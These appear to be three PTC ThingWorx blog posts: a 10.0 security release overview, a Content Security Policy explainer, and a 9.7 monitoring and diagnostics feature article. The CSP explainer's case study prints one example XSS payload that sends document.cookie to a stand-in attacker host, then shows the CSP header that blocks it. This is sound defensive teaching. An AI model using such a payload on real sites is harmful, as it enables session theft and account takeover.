IoT & Connectivity Tips

ThingWorx has long been a trusted platform in the industrial IoT space, helping organizations build and scale connected solutions. With the release of ThingWorx 10.0, we're introducing meaningful updates that make it easier, faster, and more secure to develop and manage industrial IoT applications — while keeping the core strengths that customers rely on.   ThingWorx 10.0 isn't just about new features; it's about making the platform more efficient, more reliable, and better aligned with today’s enterprise needs. Key enhancements focus on improving performance at scale, streamlining developer workflows, and strengthening security frameworks — essential capabilities for any modern IoT deployment. While security improvements are critical, they represent the standard customers expect, and we’ve invested in making sure ThingWorx continues to meet and exceed those expectations.   Here is a summary of the latest security updates for ThingWorx, including patches and vulnerability fixes. Reviewing and applying these updates is essential to protect your systems from emerging threats and ensure the ongoing security and stability of your ThingWorx environment.   JAVA 21 Support   Future-Proofing Your Applications ThingWorx 10.0 now supports Java 21, ensuring that your applications benefit from the latest language improvements and long-term support. Starting with ThingWorx 10, Java 21 will be the only supported version, marking the end of Java 11 support for the core platform. Enhanced Performance and Security Java 21 brings improved garbage collection, better memory management, and access to the latest security patches, which are essential for sustaining platform stability in today’s fast-paced technology environment.   TLS 1.3 Support   Evolving Encryption Standards with TLS 1.3 Support Leading up to the release of ThingWorx 10.0, PTC has progressively introduced TLS 1.3 support across recent platform versions, including ThingWorx 9.6, 9.7, and now in ThingWorx 10.0. This phased rollout ensures customers benefit from stronger encryption, faster handshake processes, and reduced latency — all critical improvements for securing data in modern industrial IoT environments. Continued Backward Compatibility We recognize that many customers operate in diverse and complex environments. To support a smooth transition, ThingWorx continues to maintain full backward compatibility with TLS 1.2. Customers who are not yet ready to move fully to TLS 1.3 can continue to operate securely without disruption.   Tomcat 11 Support   Enhanced Performance & Scalability Leveraging Apache Tomcat 11, ThingWorx 10.0 provides improved handling of concurrent connections, faster response times, and better resource management. Stronger Security Configurations The latest Tomcat version comes with refined security settings, reducing the attack surface and offering robust default configurations.   Custom Logback Support   Logback is a widely used logging framework for Java applications, chosen for its speed, flexibility, and reliability. It helps developers capture and manage logs efficiently, which is critical for debugging, monitoring, and maintaining system health. For customers, this means faster issue resolution, improved system stability, and better performance insights. With Logback in place, engineering teams can proactively identify and address problems, minimizing downtime and enhancing the overall user experience. In essence, robust logging through Logback directly contributes to a more reliable and responsive product for customers. With the launch of ThingWorx 10, we've made some important updates behind the scenes to improve system reliability and performance. One of these changes involves how logging is handled, which helps us monitor and troubleshoot the platform more effectively. To make this transition smooth for users who have made custom settings, we've provided a simple tool that automatically updates those settings to work with the latest version. It's a quick and easy process, and for those who prefer to make changes manually, we’ve also included clear step-by-step instructions. These updates help ensure a more stable, consistent experience as we continue to evolve the platform.   Spring Framework 6 Support   Modern Application Framework: By integrating Spring framework 6, developers can build more modular and resilient applications. This not only enhances performance but also simplifies the integration of security features. Improved Security Features: The new framework version offers enhanced support for dependency injection and security configuration, which aligns perfectly with our secure coding practices.   Enhanced Content Security Policy (CSP) Features   Foundational Defense Against Web-Based Threats ThingWorx 10.0 continues to enhance platform security with expanded support for Content Security Policy (CSP). While CSP functionality was first introduced in ThingWorx 9.3.15, 9.4.5, 9.5.1, and 9.6.0, this release builds on that foundation to improve defenses against common web-based threats such as cross-site scripting (XSS), data injection, clickjacking, and man-in-the-middle attacks. Phased Adoption Approach For ThingWorx 10.0, CSP support will be available but disabled by default. Cloud customers interested in enabling CSP will need to contact PTC Support to request activation. This approach ensures a smooth rollout while giving organizations flexibility based on their deployment and testing timelines. The current implementation lays the groundwork for a future where CSP could be enabled out-of-the-box (OOTB) in upcoming releases. For more details please visit help center   Remote Access and Control updates   The latest RAC enhancements in ThingWorx 9.7 continue to build on functionality introduced in earlier releases, delivering even stronger security, visibility, and scalability for Remote Service Engineers and ThingWorx Administrators. Engineers, who often operate behind proxies, now have an easier and more secure way to configure proxy settings for remote access.   Administrators benefit from enhanced remote session metrics, allowing them to better track and associate sessions with specific work orders. Additionally, improved tunneling support enables more scalable Remote Access Sessions, meeting the needs of advanced customer environments. These updates reinforce the security and manageability improvements first introduced in previous versions and take another step toward streamlining remote access management and enhancing scalability across the ThingWorx ecosystem.   Additional Third Party Stack Support Updates   With ThingWorx 10.0, we’re expanding compatibility across databases, middleware, and runtime environments to offer greater flexibility, security, and performance. These updates help organizations modernize their infrastructure while ensuring seamless integration with the latest technologies. Here’s a summary of the new supported platforms:   Category Sub-Category Supported Version Persistence Providers PostgreSQL v16.X v15.X v14.X   Microsoft SQL Server v2022.X   Azure DB for PostgreSQL Flex server v16.X v15.X v15.X   Azure SQL DB  v12.X   InfluxDB v1.11.X v2.7.X Operating System Windows and Linux Windows Server 2022 RHEL 8.10 and 9.4 Ubuntu 22.04.X   NOTE: Please refer to the Release Advisor as the single source of truth for the most accurate and up-to-date information.   PTC’s Commitment to Security and Innovation   At PTC, security is at the core of everything we do. Every product is built with a “security-first” mindset, ensuring that robust protection is woven into our development processes, architecture, and deployment practices. Our commitment is backed by a comprehensive Secure Development Lifecycle (SDLC) that includes advanced security practices such as SAST/DAST, secure coding standards, proactive vulnerability management, and rigorous penetration testing. These practices are designed not only to protect against known threats but also to continuously evolve with emerging risks. In addition, our shared security model clearly delineates the responsibilities between PTC and our customers, ensuring clarity and accountability in every deployment.   Our internal security policies and processes are a testament to our commitment:   Secure Development Lifecycle (SDLC): Static and Dynamic Analysis: We integrate Static Application Security Testing (SAST) and Dynamic Application Security Testing (DAST) throughout our development cycle. Vulnerability Management: Continuous scanning and timely updates for third-party libraries ensure that any potential vulnerabilities are swiftly identified and addressed. Penetration Testing: Both internal and external penetration tests are conducted periodically to uncover and mitigate risks. Compliance and Governance: We align our practices with industry standards such as ISO 27001 and GDPR, ensuring our products meet stringent regulatory requirements. A comprehensive set of deployment guides and configuration checklists helps maintain a secure environment throughout the product lifecycle. Training and Secure Design: Our teams are well-trained in the latest security methodologies through ongoing training initiatives, including role-based training sessions and tech talks. Security release criteria, threat modeling, and secure coding practices are integral to our product design. Secure Deployment Hub: Customers can always visit our Secure Deployment Hub to ensure any of the ThingWorx environment is deployed following best practices for maximum security and resilience not just ThingWorx 10.0.   These efforts not only strengthen the security of our products but also reassure our customers that each release is built with rigorous security standards at its core. They reflect just a portion of our broader commitment to proactive security, and we’re proud to be the trusted platform that enterprises rely on. The ThingWorx 10.0 preview release is now available for evaluation! This powerful, secure, and intelligent IoT platform is designed to elevate your industrial operations to the next level. To join the Private Preview Program, reach out to your account rep or customer success team. You can also comment on this post or submit a Tech Support ticket, and we’ll follow up to get you started. Vineet Khokhar Principal Product Manager, IoT Security   Stay tuned for more updates as we approach the release of ThingWorx 10.0, and as always, in case of issues, feel free to reach out to <support.ptc.com>  

Introduction    As the Internet of Things (IoT) continues to grow, securing web applications and connected devices is more critical than ever. Content Security Policy (CSP) is a security feature that helps protect IoT applications from malicious threats by controlling which resources—such as scripts, styles, and images—can be loaded and executed in a browser. This article explores what CSP is, the types of attacks it prevents, its role in securing IoT applications, the most common CSP directives used for enhanced security, and a real-world case study demonstrating CSP in action.    What is Content Security Policy (CSP)?    Content Security Policy (CSP) is a web security standard designed to reduce the risk of security vulnerabilities such as Cross-Site Scripting (XSS), data injection, and clickjacking by enforcing strict content-loading policies within web applications. It allows developers to specify which domains are permitted to execute scripts, load images, fetch data, and render styles, ensuring that only trusted sources can interact with the application.    How CSP Works    CSP works by defining security policies through HTTP headers or <meta> tags in the HTML document. These policies restrict the sources from which the browser can load various types of content, including JavaScript, CSS, and images. By doing so, CSP helps prevent unauthorized code execution and ensures that applications only interact with pre-approved content providers.    Why CSP is Essential    In an era where cyber threats are becoming more sophisticated, CSP plays a crucial role in securing web applications by:  Blocking Malicious Scripts: Prevents the execution of unauthorized JavaScript injected by attackers.  Preventing Data Exfiltration: Stops malicious code from sending sensitive user or device data to untrusted servers.  Mitigating Clickjacking: Restricts embedding in iframes to prevent deceptive UI attacks.  Enforcing Trusted Sources: Ensures that all resource requests originate from approved locations.    Types of Attacks Prevented by CSP    CSP acts as a defense mechanism against several types of web security threats, including:    a. Cross-Site Scripting (XSS)  Attackers inject malicious JavaScript into a web page to steal sensitive information, manipulate content, or perform unauthorized actions on behalf of the user.  CSP prevents XSS by restricting the execution of inline scripts and untrusted third-party JavaScript.    b. Clickjacking  Attackers trick users into clicking hidden elements (e.g., disguised buttons or links) within an iframe, potentially leading to account hijacking or unintended actions.  CSP helps mitigate clickjacking by enforcing the frame-ancestors directive, which controls who can embed the application in an iframe.    c. Data Injection Attacks  Attackers inject malicious content into an application, leading to data leaks, corrupted transactions, or manipulated IoT device responses.  CSP limits data injection risks by restricting content sources and enforcing secure policies   d. Mixed Content Attacks  When a secure HTTPS site loads insecure HTTP resources, attackers can intercept or modify the content.  CSP prevents mixed content vulnerabilities by enforcing policies that allow only secure content to be loaded.    Role of CSP in Securing IoT Applications    IoT applications often involve web-based dashboards, real-time analytics, and device interactions, making them attractive targets for cyber threats. CSP plays a crucial role in strengthening security by:    a. Restricting Untrusted Content  IoT platforms often load content dynamically from various sources, including APIs, third-party libraries, and external services. Without CSP, attackers can inject malicious scripts into these data streams, compromising the integrity of IoT dashboards. By defining strict CSP policies, developers can ensure that only pre-approved content sources are allowed.    b. Preventing Unauthorized Data Access  Many IoT applications handle sensitive data, such as real-time sensor readings, user credentials, and system logs. Attackers may attempt to inject malicious scripts that exfiltrate this data to external servers. CSP prevents such unauthorized access by blocking script execution from untrusted origins and preventing cross-origin data leaks.    c. Strengthening Access Control  In IoT ecosystems, multiple users, devices, and services interact with web applications. Without strict access controls, attackers can exploit weak points to execute unauthorized commands or alter data. CSP helps enforce access control by limiting the execution of scripts and API requests to verified sources, ensuring that only authenticated and authorized entities can interact with the system.    d. Minimizing Third-Party Risks  Many IoT applications integrate with third-party analytics tools, mapping services, and external widgets. If these third-party services are compromised, they can introduce vulnerabilities into the IoT ecosystem. CSP allows developers to whitelist only trusted third-party services, reducing the risk of supply chain attacks.    Common CSP Directives for Enhanced Security    To maximize security, developers should implement the following key CSP directives:  default-src: Defines the default source for all types of content (scripts, images, styles, etc.).  connect-src: Governs network requests (e.g., API calls, WebSockets, IoT data exchanges).  font-src: Specifies trusted sources for web fonts.  frame-ancestors: Prevents clickjacking by restricting which domains can embed the application in an iframe.  frame-src: Controls the sources from which iframes can be loaded.  img-src: Specifies trusted sources for loading images.  media-src: Defines allowed sources for media files like audio and video.  object-src: Restricts the sources from which plugins (e.g., Flash, Java applets) can be loaded.  script-src: Controls which sources are allowed to execute JavaScript.  style-src: Restricts the sources for CSS stylesheets.  worker-src: Defines the sources allowed to create web workers and service workers.  By defining a least-privilege CSP policy, developers can significantly reduce the attack surface and protect IoT applications from evolving cyber threats.    Case Study: Preventing an XSS Attack in an Industrial IoT Platform    Scenario:    A manufacturing company uses an Industrial IoT (IIoT) platform to monitor real-time sensor data from its factory machinery. The platform provides a web-based dashboard where engineers can track machine performance, predict failures, and configure alerts.    Attack Attempt:    An attacker exploits a form input field used for naming machines and injects the following malicious script:    <script>fetch('https://malicious.com/steal?data='+document.cookie);</script>    Since the platform lacks CSP enforcement, this script executes within the engineers’ browsers, stealing session cookies and granting unauthorized access to the attacker.    How CSP Prevented the Attack:    By implementing a CSP policy that restricts script execution to trusted sources, the attack is neutralized. The following CSP directive is applied:    Content-Security-Policy: script-src 'self' https://trusted-scripts.com;    This prevents unauthorized script execution, ensuring that malicious scripts injected by attackers do not run within the IIoT platform. As a result, the IIoT system remains secure, preventing attackers from compromising sensitive factory data or disrupting production operations.    Conclusion    Content Security Policy (CSP) is a fundamental security measure for modern web applications, particularly those operating in IoT environments. By understanding CSP, recognizing the threats it mitigates, and implementing the most effective directives, developers can ensure a more secure and resilient application framework.    CSP support has been introduced in ThingWorx versions 9.3.15, 9.4.5, 9.5.1, and 9.6.0. In the initial release, this feature will be disabled by default, and cloud customers will need to contact the support team to request activation, as it will not be enabled by default. The current implementation establishes a foundation that facilitates future out-of-the-box (OOTB) enablement of CSP in subsequent releases.   For more information on implementing the Content Security Policy, kindly refer to ThingWorx Help Center   Vineet Khokhar Principal Product Manager, IoT Security   Stay tuned for more updates as we approach the release of ThingWorx v10.0, and as always, in case of issues, feel free to reach out to <support.ptc.com>   

Improvements in Monitoring and Diagnostics The Outcome of the Diagnostics Forum of Yesterday By Tori Firewind, Principal Cloud Architect Introduction Many moons ago, a forum of dedicated diagnostic enthusiasts gathered together throughout several round-table discussions to produce a list of diagnostic daydreams, groom and refine that list, and then use it to produce realistic, yet awesome diagnostics requirements. Three different organizations, eight teams in total across PTC were involved, and dozens of real-world, customer experiences were considered throughout these conferences. In the end, a large diagnostics feature was designed and passed already prioritized, from the front lines directly into the backlog in the first ever collaborative effort to do Dev Ops as a process at PTC.   The fruits of this labor are now available in the latest version, ThingWorx 9.7! These features include the largely anticipated acceleration-based monitoring, custom persistence provider monitoring, and the ability to turn off metrics as needed, as well as additional open telemetry integrations and capabilities. This article will spotlight some of these new features and direct you to the 9.7 Help Center pages for more information. The Platform is smarter and Dev Ops easier than ever before, with the latest and greatest in monitoring found right here in ThingWorx 9.7.   Acceleration-Based Monitoring This is an extremely cool new feature in ThingWorx where the Platform monitors itself for runaway queues, those which indicate a system malfunction in the event or value stream queues for instance. If the acceleration is high enough for that queue, the Platform will automatically generate stack traces. This ensures the diagnostic data is already on the disc if and when the issue progresses to an outage.   No more do diagnostic SMEs have to sit and wait for a problem to occur again before they start investigating! Now they can download the stack traces that the Platform already stored on the disc.   Of course, it’s really important to get this feature configured right. If thread dumps are taken too often, those associated with the root cause may be purged before a tech can look more closely; only 10 thread dumps at a time are stored on the disc to prevent it growing out of proportion. On the other hand, if it does not take thread dumps often enough or in response to the right kinds of acceleration readings, then the root cause may altogether not be captured.   For this reason, there are several parameters to use to configure this feature, one being the acceleration increase percentage, considered very significant and a potential sign of trouble within the queue. This value is a flat percentage calculated at the time of measurement: queue count / total size of the queue. This number is checked frequently, as configured by another parameter, the acceleration calculation frequency. If the queue size exceeds the queue capacity occupied percentage at the same time the increase percentage is above the threshold, then the Platform records a stack trace on the disc. This ensures the diagnostic data will be present even after a restart, from early on when the problem began.   Another key parameter is the number of acceleration occurrences to wait before turning the thread captures on, which allows for a great specificity of when to collect the diagnostic data. Even if the acceleration is met once, well maybe that means nothing; perhaps it is normal for the queue to accelerate quickly at times. However, let’s say it does it 5 times within 30 seconds or a minute, or maybe the acceleration is elevated for some time, and we are approaching a data loss scenario. A rule based around the first scenario will capture close to the root cause, while the second might serve to collect what events didn’t make it into the queue before the restart.   Once the thread dumps are taken, there is a configurable cool off period in which no new stack traces will be recorded. This can allow the stack traces to be taken repeatedly at set intervals for persistent issues, and also reduces the overall activity of recording stack traces to ensure only the most useful ones remain on the disc.   One of five queues can be monitored in this way: Persistent Property Queue Event Processing Queue Stream Processing Queue Value Stream Processing Queue Connections Pool Processing Queue An example of setting all of these values can be found along with more information in the Help Center.   Custom Persistence Provider Monitoring There is now the capacity to see what the Platform is doing when interacting with your own custom persistence providers, or those used by the various ThingWorx applications like Navigate or DPM. At the monitoring endpoint, all persistence providers will now be listed at /Metrics, tagged by their name and database type:     # HELP thingworx_ThingworxPersistenceProvider_ConnectionPool_BusyConnections Current count of busy connections to the underlying database # TYPE thingworx_ThingworxPersistenceProvider_ConnectionPool_BusyConnections gauge thingworx_ThingworxPersistenceProvider_ConnectionPool_BusyConnections{category="DPMpersistenceProvider.ConnectionPool",databaseType="Microsoft SQL Server",otel_scope_name="com.thingworx",persistenceProviderEntityName="DPMpersistenceProvider",platformid="",prefix="Platform.Core.PersistenceProvider"} 0.0 thingworx_ThingworxPersistenceProvider_ConnectionPool_BusyConnections{category="ThingworxPersistenceProvider.ConnectionPool",databaseType="PostgreSQL",otel_scope_name="com.thingworx",persistenceProviderEntityName="ThingworxPersistenceProvider",platformid="",prefix="Platform.Core.PersistenceProvider"} 0.0     For more information about which parts of the persistence providers are monitored, see the Help Center.   Disable Metrics Now there is the potential to turn off some metrics if they become problematic or threaten to destabilize the entire environment. For example, the Audit Subsystem has a history of causing such issues for many, since the database tables grow very large and counting the rows can begin to take time. Turning these metrics off is now something easily done in the next maintenance window.   Simply add some code to your platform-settings.json file and restart the server, and whatever metrics specified will no longer be captured or appear at the metrics endpoints:     "MetricsSettings": { "DisabledMetricsList": [ "<metrics name 1>", "<metrics name 2>", "<metrics name 3>" ] }     Please note that there are several caveats and a warning to those who would turn off default monitoring features: ensure critical metrics are not unintentionally turned off and remember that this feature is intended for administrators who know the system well and need the ability to fine-tune its monitoring to ensure performance. Read more about this feature and its caveats in the Help Center.   Open Telemetry OpenTelemetry support was introduced in 9.6 and expanded in ThingWorx 9.7 to facilitate the recording of high volume monitoring metrics. It handles large-scale metrics and provides a more robust observability and capability for both diagnostic and predictive analysis. Find the new endpoint at /MetricsHC, with the old metrics still available as before. You can also use this metrics library to create your own custom metrics in a ThingWorx Extension, really expanding the metrics capability of the Platform. More information on how to make use of OpenTelemetry for monitoring can be found in the Help Center.   Conclusion ThingWorx does Dev Ops now better than ever, with features like these coming straight from real-world experiences and going right into the development workflow. Already, 4 additional monitoring features have been thought up and added to the mix, and improvements are coming soon! With more feedback on how to better to Dev Ops in ThingWorx, feel free to reach out.